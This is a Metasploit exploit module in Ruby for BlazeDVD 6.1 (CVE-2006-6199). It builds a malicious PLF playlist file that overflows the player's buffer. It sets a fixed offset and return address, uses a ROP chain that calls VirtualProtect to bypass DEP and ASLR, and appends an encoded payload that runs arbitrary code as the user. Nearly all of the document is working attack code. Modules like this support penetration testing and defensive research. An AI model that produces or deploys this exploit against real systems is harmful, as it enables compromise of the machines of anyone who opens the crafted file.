##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'BlazeDVD 6.1 PLF Exploit DEP/ASLR Bypass',
			'Description'	=> %q{
					This module updates an existing MSF module originally written for BlazeDVD 5.1. The new module 
					will bypass DEP and ASLR on version 6. The original vulnerability is due to the handling of 
					specially crafted PLF files. Exploiting this allows us to execute arbitrary code running under 
					the context of the user.
			},
			'License'		=> MSF_LICENSE,
			'Author'		=> 
				[
					'Gjoko Krstic',	# Original discovery
					'Craig Freyman @cd1zz',	# MSF Module
				],
			'References'	=>
				[
					[ 'OSVDB', '30770' ],
					[ 'CVE', '2006-6199' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/6217/' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/13905/' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/9329/' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/16618/' ]
				],
			'DefaultOptions' =>
				{
					'ExitFunction' => 'process', 
					#'InitialAutoRunScript' => 'migrate -f',
				},
			'Platform'	=> 'win',
			'Payload'	=>
				{
					'BadChars' => "\x00\x0a\x1a\x2f\x3a\x5c", 
					'DisableNops' => true,
					'StackAdjustment' => -3500
				},

			'Targets'		=>
				[
					[ 'win',
						{
							'Ret'   	=>	0x6030ef6c,# : {pivot 2352 / 0x930} :  # POP ESI # ADD ESP,92C # RETN
							'Offset'	=>	872
						}
					],
				],
			'Privileged'	=> false,
			'DisclosureDate'	=> 'Aug 10 2008',
			'DefaultTarget'	=> 0))

		register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf']),], self.class)

	end

	def create_rop_chain()

		# rop chain generated with mona.py - www.corelan.be
		rop_gadgets = 
		[
			0x640258bf,	# POP EAX # RETN [MediaPlayerCtrl.dll] 
			0x10011108,	# ptr to &VirtualProtect() [IAT SkinScrollBar.Dll]
			0x6033d8be,	# MOV ESI,DWORD PTR DS:[EAX] # RETN [Configuration.dll] 
			0x60327f7f,	# POP EBP # RETN [Configuration.dll] 
			0x616069a1,	# & push esp #  ret 04 [EPG.dll]
			0x60335f98,	# POP EAX # RETN [Configuration.dll] 
			0xfffffdff,	# Value to negate, will become 0x00000201
			0x6404c4c3,	# NEG EAX # RETN [MediaPlayerCtrl.dll] 
			0x64016676,	# XCHG EAX,EBX # RETN [MediaPlayerCtrl.dll] 
			0x6410948f,	# POP EAX # RETN [NetReg.dll] 
			0xffffffc0,	# Value to negate, will become 0x00000040
			0x6033b0eb,	# NEG EAX # RETN [Configuration.dll] 
			0x61608ba2,	# XCHG EAX,EDX # RETN [EPG.dll] 
			0x6033d975,	# POP ECX # RETN [Configuration.dll] 
			0x6411c001,	# &Writable location [NetReg.dll]
			0x6410a85d,	# POP EDI # RETN [NetReg.dll] 
			0x6160b805,	# RETN (ROP NOP) [EPG.dll]
			0x6402c108,	# POP EAX # RETN [MediaPlayerCtrl.dll] 
			0x90909090,	# nop
			0x6033d886,	# PUSHAD # RETN [Configuration.dll] 
		].flatten.pack("V*")

		return rop_gadgets

	end

	def exploit
		rop_chain = create_rop_chain()
		stack_adjust = "\x81\xc4\x24\xfa\xff\xff"
		buf = ''
		buf << make_nops(target['Offset'])
		buf << [target.ret].pack('V')
		buf << make_nops(8) #filler for stack pivot
		buf << rop_chain
		buf << stack_adjust
		buf << payload.encoded
		buf << make_nops(5000 - buf.length)

		file_create(buf)

	end
end